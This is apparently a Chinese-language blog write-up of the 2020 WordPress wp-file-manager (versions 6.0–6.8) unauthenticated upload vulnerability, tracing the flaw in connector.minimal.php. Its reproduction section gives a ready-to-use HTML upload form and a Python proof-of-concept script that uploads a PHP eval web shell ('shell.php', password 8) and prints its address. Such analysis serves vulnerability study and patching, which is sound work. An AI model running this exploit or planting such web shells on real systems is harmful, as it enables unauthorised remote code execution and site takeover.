WordPress插件file_manager文件上传漏洞

0x00 前言

这是2020年的洞了，当时一出就分析，奈何没有记录，导致现在都忘了

重新写一遍，文章主要包括，漏洞分析复现及版本之间的差异

影响版本

6.0 ≤ x ≤ 6.8

对比版本

1.8：下载地址
5.9：下载地址
6.0：下载地址
6.9：下载地址

0x01 漏洞分析

漏洞点位于file manager的connector.minimal.php文件，

具体路径在\wp-content\plugins\wp-file-manager\lib\php\connector.minimal.php

调用了run方法

方法还是很长的，分开来看，上面的一些if，我们可以根据传参，让程序不走进去

首先来看两个方法commandExists和commandArgsList

第一个方法是判断，我们要访问的方法是否存在，这里要访问upload方法，是存在的

第二个方法，是看需要那些参数

为true的参数，只有两个target和FILES

然后会进入input_filter处理一下这些参数

进入exec方法

在exec方法中，进行一些基本判断，然后会调用上传方法

进入upload方法之后，需要注意的点就是target的参数值了

参数的前缀需要是l1_或者t1_，才能获得对应的类

然后在进入对应的类进行上传的时候，后缀后面的数据会被base64解码进行拼接成路径

dir->file->decode

0x02 漏洞复现

构造上传表单

<html>
<body>
<form enctype="multipart/form-data" action="http://192.168.1.220:8224/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" method="post">
<input type="file" name="upload[]" size="50"><br>
<input type="submit" value="Upload">
<input type="hidden" name="cmd" value="upload"><br>
<input type="hidden" name="target" value="l1_Lw"><br>
</form>
</body>
</html>

或者编写poc脚本

#!/usr/bin/env python3
#
# Single check to see if the server is still vulnerable to wp-file-manager
# Written by: 秋水

import requests
import re
from requests_toolbelt import MultipartEncoder


# 检测是否存在漏洞，其实可以两种方式，一个是版本一个是漏洞文件
# 版本
def check_vul_ver(url):
    address = url + "/wp-content/plugins/wp-file-manager/readme.txt"
    rsp = requests.get(address, verify=False, allow_redirects=False)
    text = re.findall("Stable tag.*", rsp.text)
    text = str(text[0])
    text = text.split(": ")[1]
    if text == "6.9" or float(text) < 5.0:
        return False
    else:
        return True


# 漏洞文件
def check_vul_file(url):
    address = url + "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
    rsp = requests.get(address, verify=False, allow_redirects=False)
    if rsp.status_code == 200:
        return True
    else:
        return False


# 漏洞利用
def main(url):
    if check_vul_file(url):
        print("[+] Vulnerability file exists!")
        address = url + "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
        file = "<?php @eval($_REQUEST[8]);?>"
        m = MultipartEncoder(fields={'filename': 'upload[]',
                                     'upload[]': ('shell.php', file, 'application/octet-stream'),
                                     'target': 'l1_Lw',
                                     'cmd': 'upload'
                                     })
        headers = {
            "Content-Type": m.content_type
        }
        rsp = requests.post(address, data=m, headers=headers, verify=False, allow_redirects=False)
        if rsp.status_code == 200 and "url" in str(rsp.text):
            print("[+] Got it!")
            shell = url + rsp.json()['added'][0]['url']
            print("[+] shell address: " + shell)
            print("[+] shell pass: 8")
        else:
            print("[-] The target site does not have this vulnerability！")
    else:
        print("[-] The target site does not have this vulnerability！")


if __name__ == '__main__':
    requests.packages.urllib3.disable_warnings()
    web_url = "http://127.0.0.1:8224"
    main(web_url)